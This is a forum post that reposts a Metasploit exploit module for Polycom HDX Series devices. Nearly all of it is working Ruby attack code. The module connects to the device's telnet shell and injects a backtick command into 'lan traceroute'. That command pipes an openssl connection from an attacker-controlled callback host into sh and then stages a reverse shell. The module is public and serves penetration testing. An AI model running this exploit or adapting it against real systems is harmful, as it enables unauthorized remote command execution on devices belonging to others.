Jump to content
Fi8sVrs

Polycom Shell HDX Series Traceroute Command Execution

Recommended Posts

  • Active Members

Within Polycom command shell, a command execution flaw exists in lan traceroute, one of the dev commands, which allows for an attacker to execute arbitrary payloads with telnet or openssl.

 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
      'Description' => %q{
        Within Polycom command shell, a command execution flaw exists in
        lan traceroute, one of the dev commands, which allows for an
        attacker to execute arbitrary payloads with telnet or openssl.
      },
      'Author' => [
        'Mumbai', #
        'staaldraad', # https://twitter.com/_staaldraad/
        'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
        'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them
      ],
      'References' => [
        ['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
      ],
      'DisclosureDate' => 'Nov 12 2017',
      'License' => MSF_LICENSE,
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Targets' => [[ 'Automatic', {} ]],
      'Payload' => {
        'Space' => 8000,
        'DisableNops' => true,
        'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}
      },
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
      'DefaultTarget' => 0
    ))

    register_options(
    [
      Opt::RHOST(),
      Opt::RPORT(23),
      OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
      OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
      OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
    ])
  end

  def check
    connect
    Rex.sleep(1)
    res = sock.get_once
    disconnect
    if !res && !res.empty?
      return Exploit::CheckCode::Unknown
    elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Unknown
  end

  def exploit
    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
    end

    #
    # Obtain banner information
    #
    sock = connect
    Rex.sleep(2)
    banner = sock.get_once
    vprint_status("Received #{banner.length} bytes from service")
    vprint_line("#{banner}")
    if banner =~ /password/i
      print_status("Authentication enabled on device, authenticating with target...")
      if datastore['PASSWORD'].nil?
        print_error("#{peer} - Please supply a password to authenticate with")
        return
      end
      # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
      sock.put("#{datastore['PASSWORD']}\n")
      res = sock.get_once
      if res =~ /Polycom/
        print_good("#{peer} - Authenticated successfully with target.")
      elsif res =~ /failed/
        print_error("#{peer} - Invalid credentials for target.")
        return
      end
    elsif banner =~ /Polycom/ # praise jesus
      print_good("#{peer} - Device has no authentication, excellent!")
    end
    do_payload(sock)
  end

  def do_payload(sock)
    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

    # Start a listener
    start_listener(true)

    # Figure out the port we picked
    cbport = self.service.getsockname[2]
    cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
    sock.put(cmd)
    if datastore['VERBOSE']
      Rex.sleep(2)
      resp = sock.get_once
      vprint_status("Received #{resp.length} bytes in response")
      vprint_line(resp)
    end

    # Give time for our command to be queued and executed
    1.upto(5) do
      Rex.sleep(1)
      break if session_created?
    end
  end

  def stage_final_payload(cli)
    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
    cli.put(payload.encoded + "\n")
  end

  def start_listener(ssl = false)
    comm = datastore['ListenerComm']
    if comm == 'local'
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    self.service = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['CBPORT'],
      'SSL'       => ssl,
      'SSLCert'   => datastore['SSLCert'],
      'Comm'      => comm,
      'Context'   =>
      {
        'Msf'        => framework,
        'MsfExploit' => self
      }
    )

    self.service.on_client_connect_proc = proc { |client|
      stage_final_payload(client)
    }

    # Start the listening service
    self.service.start
  end

  # Shut down any running services
  def cleanup
    super
    if self.service
      print_status("Shutting down payload stager listener...")
      begin
        self.service.deref if self.service.is_a?(Rex::Service)
        if self.service.is_a?(Rex::Socket)
          self.service.close
          self.service.stop
        end
        self.service = nil
      rescue ::Exception
      end
    end
  end

  # Accessor for our TCP payload stager
  attr_accessor :service
end

Source: https://packetstormsecurity.com/files/145225/Polycom-Shell-HDX-Series-Traceroute-Command-Execution.html

  • Upvote 2
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...